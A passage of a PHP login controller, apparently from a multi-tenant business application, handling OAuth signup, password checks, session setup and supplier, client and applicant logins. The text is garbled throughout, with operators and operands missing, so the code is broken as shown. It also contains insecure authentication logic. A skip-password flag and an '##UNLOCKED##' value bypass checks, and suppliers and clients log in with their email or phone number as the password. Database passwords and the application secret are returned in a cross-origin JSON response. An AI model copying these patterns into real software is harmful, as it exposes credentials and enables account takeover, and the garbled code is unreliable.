  1423.                                 0,
  1424.                                 0,
  1425.                                 0,
  1426.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1427.                                 [],
  1428.                                 0,
  1429.                                 "",
  1430.                                 0,
  1431.                                 "",
  1432.                                 $image '',
  1433.                                 $deviceId,
  1434.                                 0,
  1435.                                 0,
  1436.                                 $oAuthData['uniqueId'],
  1437.                                 $oAuthData['token'],
  1438.                                 $oAuthData['image'],
  1439.                                 $oAuthData['emailVerified'],
  1440.                                 $oAuthData['type']
  1441.                             );
  1442.                             if ($add_user['success'] == true) {
  1443.                                 $firstLogin 1;
  1444.                                 $user $add_user['user'];
  1445.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1446.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1447.                                         ->setFrom('registration@entity.innobd.com')
  1448.                                         ->setTo($user->getEmail())
  1449.                                         ->setBody(
  1450.                                             $this->renderView(
  1451.                                                 '@Application/email/user/registration_karbar.html.twig',
  1452.                                                 array('name' => $request->request->get('name'),
  1453.                                                     //                                                    'companyData' => $companyData,
  1454.                                                     //                                                    'userName'=>$request->request->get('email'),
  1455.                                                     //                                                    'password'=>$request->request->get('password'),
  1456.                                                 )
  1457.                                             ),
  1458.                                             'text/html'
  1459.                                         );
  1460.                                     /*
  1461.                                                        * If you also want to include a plaintext version of the message
  1462.                                                       ->addPart(
  1463.                                                           $this->renderView(
  1464.                                                               'Emails/registration.txt.twig',
  1465.                                                               array('name' => $name)
  1466.                                                           ),
  1467.                                                           'text/plain'
  1468.                                                       )
  1469.                                                       */
  1470.                                     //            ;
  1471.                                     $this->get('mailer')->send($emailmessage);
  1472.                                 }
  1473.                             }
  1474.                         }
  1475.                     }
  1476.                 } else {
  1477.                     $data = array();
  1478.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1479.                         array(
  1480.                             'email' => $request->request->get('username')
  1481.                         )
  1482.                     );
  1483.                     if (!$user) {
  1484.                         $message "Wrong Email";
  1485.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1486.                             return new JsonResponse(array(
  1487.                                 'uid' => $session->get(UserConstants::USER_ID),
  1488.                                 'session' => $session,
  1489.                                 'success' => false,
  1490.                                 'errorStr' => $message,
  1491.                                 'session_data' => [],
  1492.                             ));
  1493.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1494.                             //                    return $response;
  1495.                         }
  1496.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1497.                             "message" => $message,
  1498.                             'page_title' => "Login",
  1499.                             'gocList' => $gocDataList,
  1500.                             'gocId' => $gocId
  1501.                         ));
  1502.                     }
  1503.                     if ($user) {
  1504.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1505.                             $message "Sorry, Your Account is Deactivated";
  1506.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1507.                                 return new JsonResponse(array(
  1508.                                     'uid' => $session->get(UserConstants::USER_ID),
  1509.                                     'session' => $session,
  1510.                                     'success' => false,
  1511.                                     'errorStr' => $message,
  1512.                                     'session_data' => [],
  1513.                                 ));
  1514.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1515.                                 //                    return $response;
  1516.                             }
  1517.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1518.                                 "message" => $message,
  1519.                                 'page_title' => "Login",
  1520.                                 'gocList' => $gocDataList,
  1521.                                 'gocId' => $gocId
  1522.                             ));
  1523.                         }
  1524.                     }
  1525.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1526.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1527.                         $message "Wrong Email/Password";
  1528.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1529.                             return new JsonResponse(array(
  1530.                                 'uid' => $session->get(UserConstants::USER_ID),
  1531.                                 'session' => $session,
  1532.                                 'success' => false,
  1533.                                 'errorStr' => $message,
  1534.                                 'session_data' => [],
  1535.                             ));
  1536.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1537.                             //                    return $response;
  1538.                         }
  1539.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1540.                             "message" => $message,
  1541.                             'page_title' => "Login",
  1542.                             'gocList' => $gocDataList,
  1543.                             'gocId' => $gocId
  1544.                         ));
  1545.                     }
  1546.                 }
  1547.                 if ($user) {
  1548.                     //set cookie
  1549.                     if ($remember_me == 1)
  1550.                         $session->set('REMEMBERME'1);
  1551.                     else
  1552.                         $session->set('REMEMBERME'0);
  1553.                     $userType $user->getUserType();
  1554.                     // Entity User
  1555.                     $userId $user->getUserId();
  1556.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1557.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1558.                     $session->set('firstLogin'$firstLogin);
  1559.                     $session->set(UserConstants::USER_TYPE$userType);
  1560.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1561.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1562.                     $session->set('oAuthImage'$user->getOAuthImage());
  1563.                     $session->set(UserConstants::USER_NAME$user->getName());
  1564.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1565.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1566.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1567.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1568.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1569.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1570.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1571.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1572.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1573.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1574.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1575.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1576.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1577.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1578.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1579.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1580.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1581.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1582.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1583.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1584.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1585.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1586.                     $route_list_array = [];
  1587.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1588.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1589.                     $loginID EntityUserM::addEntityUserLoginLog(
  1590.                         $em_goc,
  1591.                         $userId,
  1592.                         $request->server->get("REMOTE_ADDR"),
  1593.                         0,
  1594.                         $deviceId,
  1595.                         $oAuthData['token'],
  1596.                         $oAuthData['type']
  1597.                     );
  1598.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1599.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1600.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1601.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1602.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1603.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1604.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1605.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1606.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1607.                     $appIdList json_decode($user->getUserAppIdList());
  1608.                     if ($appIdList == null)
  1609.                         $appIdList = [];
  1610.                     $companyIdListByAppId = [];
  1611.                     $companyNameListByAppId = [];
  1612.                     $companyImageListByAppId = [];
  1613.                     if (!in_array($user->getUserAppId(), $appIdList))
  1614.                         $appIdList[] = $user->getUserAppId();
  1615.                     foreach ($appIdList as $currAppId) {
  1616.                         if ($currAppId == $user->getUserAppId()) {
  1617.                             foreach ($company_id_list as $index_company => $company_id) {
  1618.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1619.                                 $app_company_index $currAppId '_' $company_id;
  1620.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1621.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1622.                             }
  1623.                         } else {
  1624.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1625.                                 $this->getDoctrine()->getManager('company_group'),
  1626.                                 $gocEnabled,
  1627.                                 $currAppId
  1628.                             );
  1629.                             if (!empty($dataToConnect)) {
  1630.                                 $connector $this->container->get('application_connector');
  1631.                                 $connector->resetConnection(
  1632.                                     'default',
  1633.                                     $dataToConnect['dbName'],
  1634.                                     $dataToConnect['dbUser'],
  1635.                                     $dataToConnect['dbPass'],
  1636.                                     $dataToConnect['dbHost'],
  1637.                                     $reset true
  1638.                                 );
  1639.                                 $em $this->getDoctrine()->getManager();
  1640.                                 $companyList Company::getCompanyListWithImage($em);
  1641.                                 foreach ($companyList as $c => $dta) {
  1642.                                     //                                $company_id_list[]=$c;
  1643.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1644.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1645.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1646.                                     $app_company_index $currAppId '_' $c;
  1647.                                     $company_locale $companyList[$c]['locale'];
  1648.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1649.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1650.                                 }
  1651.                             }
  1652.                         }
  1653.                     }
  1654.                     $session->set('appIdList'$appIdList);
  1655.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1656.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1657.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1658.                     $branchIdList json_decode($user->getUserBranchIdList());
  1659.                     $branchId $user->getUserBranchId();
  1660.                     $session->set('branchIdList'$branchIdList);
  1661.                     $session->set('branchId'$branchId);
  1662.                     if ($user->getAllModuleAccessFlag() == 1)
  1663.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1664.                     else
  1665.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1666.                     $session_data = array(
  1667.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1668.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1669.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1670.                         'firstLogin' => $firstLogin,
  1671.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1672.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1673.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1674.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1675.                         'oAuthImage' => $session->get('oAuthImage'),
  1676.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1677.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1678.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1679.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1680.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1681.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1682.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1683.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1684.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1685.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1686.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1687.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1688.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1689.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1690.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1691.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1692.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1693.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1694.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1695.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1696.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1697.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1698.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1699.                         //new
  1700.                         'appIdList' => $session->get('appIdList'),
  1701.                         'branchIdList' => $session->get('branchIdList'null),
  1702.                         'branchId' => $session->get('branchId'null),
  1703.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1704.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1705.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1706.                     );
  1707.                     $session_data $this->filterClientSessionData($session_data);
  1708.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1709.                     $token $tokenData['token'];
  1710.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1711.                         $session->set('remoteVerified'1);
  1712.                         $response = new JsonResponse(array(
  1713.                             'token' => $token,
  1714.                             'uid' => $session->get(UserConstants::USER_ID),
  1715.                             'session' => $session,
  1716.                             'success' => true,
  1717.                             'session_data' => $session_data,
  1718.                         ));
  1719.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1720.                         return $response;
  1721.                     }
  1722.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1723.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1724.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1725.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1726.                                 $redPath parse_url($redPHP_URL_PATH);
  1727.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1728.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1729.                                 // Never land the browser on a non-navigational endpoint (JSON/AJAX)
  1730.                                 // that was bounced to login pre-auth â€” e.g. the signature probes the
  1731.                                 // signature-setup modal/footer fire on first load (/signature_status
  1732.                                 // AND /CheckSignatureHash, which returns the raw signature hash).
  1733.                                 // Match any "signature" or "/api/" path. Otherwise first login dumps
  1734.                                 // the user on raw JSON instead of the app.
  1735.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false
  1736.                                     && strripos($redPath'signature') === false && strripos($redPath'/api/') === false) {
  1737.                                     return $this->redirect($red);
  1738.                                 }
  1739.                                 // Guarded (non-navigational) target â€” send to the dashboard rather
  1740.                                 // than falling through to raw JSON / further login processing.
  1741.                                 return $this->redirectToRoute("dashboard");
  1742.                             }
  1743.                         } else {
  1744.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1745.                         }
  1746.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1747.                         return $this->redirectToRoute("dashboard");
  1748.                     else
  1749.                         return $this->redirectToRoute($user->getDefaultRoute());
  1750. //                    if ($request->server->has("HTTP_REFERER")) {
  1751. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1752. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1753. //                        }
  1754. //                    }
  1755. //
  1756. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1757. //                    if ($request->request->has('referer_path')) {
  1758. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1759. //                            return $this->redirect($request->request->get('referer_path'));
  1760. //                        }
  1761. //                    }
  1762.                     //                    if($request->request->has('gocId')
  1763.                 }
  1764.             } else {
  1765.                 if ($specialLogin == 1) {
  1766.                 } else if (strpos($uname'SID-') !== false) {
  1767.                     $specialLogin 1;
  1768.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1769.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1770.                     //*** supplier id will be last 6 DIgits
  1771.                     $str_app_id_supplier_id substr($uname4);
  1772.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1773.                     {
  1774.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1775.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1776.                     }
  1777.                     //                else
  1778.                     //                {
  1779.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1780.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1781.                     //                }
  1782.                 } else if (strpos($uname'CID-') !== false) {
  1783.                     $specialLogin 1;
  1784.                     $userType UserConstants::USER_TYPE_CLIENT;
  1785.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1786.                     //*** supplier id will be last 6 DIgits
  1787.                     $str_app_id_client_id substr($uname4);
  1788.                     $clientId = ($str_app_id_client_id) % 1000000;
  1789.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1790.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1791.                     $specialLogin 1;
  1792.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1793.                     $isApplicantLogin 1;
  1794.                     if ($oAuthData) {
  1795.                         $email $oAuthData['email'];
  1796.                         $userName $email;
  1797. //                        $userName = explode('@', $email)[0];
  1798. //                        $userName = str_split($userName);
  1799. //                        $userNameArr = $userName;
  1800.                     } else if (strpos($uname'APP-') !== false) {
  1801.                         $email $uname;
  1802.                         $userName substr($email4);
  1803. //                        $userNameArr = str_split($userName);
  1804. //                        $generatedIdFromAscii = 0;
  1805. //                        foreach ($userNameArr as $item) {
  1806. //                            $generatedIdFromAscii += ord($item);
  1807. //                        }
  1808. //
  1809. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1810. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1811. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1812.                     } else {
  1813.                         $email $uname;
  1814.                         $userName $uname;
  1815. //                            $userName = substr($email, 4);
  1816. //                        $userName = explode('@', $email)[0];
  1817. //                            $userNameArr = str_split($userName);
  1818.                     }
  1819.                 }
  1820.                 $data = array();
  1821.                 if ($hasGoc == 1) {
  1822.                     if ($gocId != && $gocId != "") {
  1823. //                        $gocId = $request->request->get('gocId');
  1824.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1825.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1826.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1827.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1828.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1829.                         $connector $this->container->get('application_connector');
  1830.                         $connector->resetConnection(
  1831.                             'default',
  1832.                             $gocDataList[$gocId]['dbName'],
  1833.                             $gocDataList[$gocId]['dbUser'],
  1834.                             $gocDataList[$gocId]['dbPass'],
  1835.                             $gocDataList[$gocId]['dbHost'],
  1836.                             $reset true
  1837.                         );
  1838.                     } else if ($appId != && $appId != "") {
  1839.                         $gocId $request->request->get('gocId');
  1840.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1841.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1842.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1843.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1844.                         $gocId $gocDataListByAppId[$appId]['id'];
  1845.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1846.                         $connector $this->container->get('application_connector');
  1847.                         $connector->resetConnection(
  1848.                             'default',
  1849.                             $gocDbName,
  1850.                             $gocDbUser,
  1851.                             $gocDbPass,
  1852.                             $gocDbHost,
  1853.                             $reset true
  1854.                         );
  1855.                     }
  1856.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1857.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1858.                     if ($gocId != && $gocId != "") {
  1859.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1860.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1861.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1862.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1863.                         $connector $this->container->get('application_connector');
  1864.                         $connector->resetConnection(
  1865.                             'default',
  1866.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1867.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1868.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1869.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1870.                             $reset true
  1871.                         );
  1872.                     }
  1873.                 }
  1874.                 $session $request->getSession();
  1875.                 $em $this->getDoctrine()->getManager();
  1876.                 //will work on later on supplier login
  1877.                 if ($specialLogin == 1) {
  1878.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1879.                         //validate supplier
  1880.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1881.                             ->findOneBy(
  1882.                                 array(
  1883.                                     'supplierId' => $supplierId
  1884.                                 )
  1885.                             );
  1886.                         if (!$supplier) {
  1887.                             $message "Wrong UserName";
  1888.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1889.                                 return new JsonResponse(array(
  1890.                                     'uid' => $session->get(UserConstants::USER_ID),
  1891.                                     'session' => $session,
  1892.                                     'success' => false,
  1893.                                     'errorStr' => $message,
  1894.                                     'session_data' => [],
  1895.                                 ));
  1896.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1897.                                 //                    return $response;
  1898.                             }
  1899.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1900.                                 "message" => $message,
  1901.                                 'page_title' => "Login",
  1902.                                 'gocList' => $gocDataList,
  1903.                                 'gocId' => $gocId
  1904.                             ));
  1905.                         }
  1906.                         if ($supplier) {
  1907.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1908.                                 $message "Sorry, Your Account is Deactivated";
  1909.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1910.                                     return new JsonResponse(array(
  1911.                                         'uid' => $session->get(UserConstants::USER_ID),
  1912.                                         'session' => $session,
  1913.                                         'success' => false,
  1914.                                         'errorStr' => $message,
  1915.                                         'session_data' => [],
  1916.                                     ));
  1917.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1918.                                     //                    return $response;
  1919.                                 }
  1920.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1921.                                     "message" => $message,
  1922.                                     'page_title' => "Login",
  1923.                                     'gocList' => $gocDataList,
  1924.                                     'gocId' => $gocId
  1925.                                 ));
  1926.                             }
  1927.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1928.                                 //pass ok proceed
  1929.                             } else {
  1930.                                 if ($skipPassword == 1) {
  1931.                                 } else {
  1932.                                     $message "Wrong Email/Password";
  1933.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1934.                                         return new JsonResponse(array(
  1935.                                             'uid' => $session->get(UserConstants::USER_ID),
  1936.                                             'session' => $session,
  1937.                                             'success' => false,
  1938.                                             'errorStr' => $message,
  1939.                                             'session_data' => [],
  1940.                                         ));
  1941.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1942.                                         //                    return $response;
  1943.                                     }
  1944.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1945.                                         "message" => $message,
  1946.                                         'page_title' => "Login",
  1947.                                         'gocList' => $gocDataList,
  1948.                                         'gocId' => $gocId
  1949.                                     ));
  1950.                                 }
  1951.                             }
  1952.                             $jd = [$supplier->getCompanyId()];
  1953.                             if ($jd != null && $jd != '' && $jd != [])
  1954.                                 $company_id_list $jd;
  1955.                             else
  1956.                                 $company_id_list = [1];
  1957.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1958.                             foreach ($company_id_list as $c) {
  1959.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1960.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1961.                             }
  1962.                             $user $supplier;
  1963.                         }
  1964.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1965.                         //validate supplier
  1966.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1967.                             ->findOneBy(
  1968.                                 array(
  1969.                                     'clientId' => $clientId
  1970.                                 )
  1971.                             );
  1972.                         if (!$client) {
  1973.                             $message "Wrong UserName";
  1974.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1975.                                 return new JsonResponse(array(
  1976.                                     'uid' => $session->get(UserConstants::USER_ID),
  1977.                                     'session' => $session,
  1978.                                     'success' => false,
  1979.                                     'errorStr' => $message,
  1980.                                     'session_data' => [],
  1981.                                 ));
  1982.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1983.                                 //                    return $response;
  1984.                             }
  1985.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1986.                                 "message" => $message,
  1987.                                 'page_title' => "Login",
  1988.                                 'gocList' => $gocDataList,
  1989.                                 'gocId' => $gocId
  1990.                             ));
  1991.                         }
  1992.                         if ($client) {
  1993.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1994.                                 $message "Sorry, Your Account is Deactivated";
  1995.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1996.                                     return new JsonResponse(array(
  1997.                                         'uid' => $session->get(UserConstants::USER_ID),
  1998.                                         'session' => $session,
  1999.                                         'success' => false,
  2000.                                         'errorStr' => $message,
  2001.                                         'session_data' => [],
  2002.                                     ));
  2003.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2004.                                     //                    return $response;
  2005.                                 }
  2006.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2007.                                     "message" => $message,
  2008.                                     'page_title' => "Login",
  2009.                                     'gocList' => $gocDataList,
  2010.                                     'gocId' => $gocId
  2011.                                 ));
  2012.                             }
  2013.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  2014.                                 //pass ok proceed
  2015.                             } else {
  2016.                                 if ($skipPassword == 1) {
  2017.                                 } else {
  2018.                                     $message "Wrong Email/Password";
  2019.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2020.                                         return new JsonResponse(array(
  2021.                                             'uid' => $session->get(UserConstants::USER_ID),
  2022.                                             'session' => $session,
  2023.                                             'success' => false,
  2024.                                             'errorStr' => $message,
  2025.                                             'session_data' => [],
  2026.                                         ));
  2027.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2028.                                         //                    return $response;
  2029.                                     }
  2030.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2031.                                         "message" => $message,
  2032.                                         'page_title' => "Login",
  2033.                                         'gocList' => $gocDataList,
  2034.                                         'gocId' => $gocId
  2035.                                     ));
  2036.                                 }
  2037.                             }
  2038.                             $jd = [$client->getCompanyId()];
  2039.                             if ($jd != null && $jd != '' && $jd != [])
  2040.                                 $company_id_list $jd;
  2041.                             else
  2042.                                 $company_id_list = [1];
  2043.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2044.                             foreach ($company_id_list as $c) {
  2045.                                 $company_name_list[$c] = $companyList[$c]['name'];
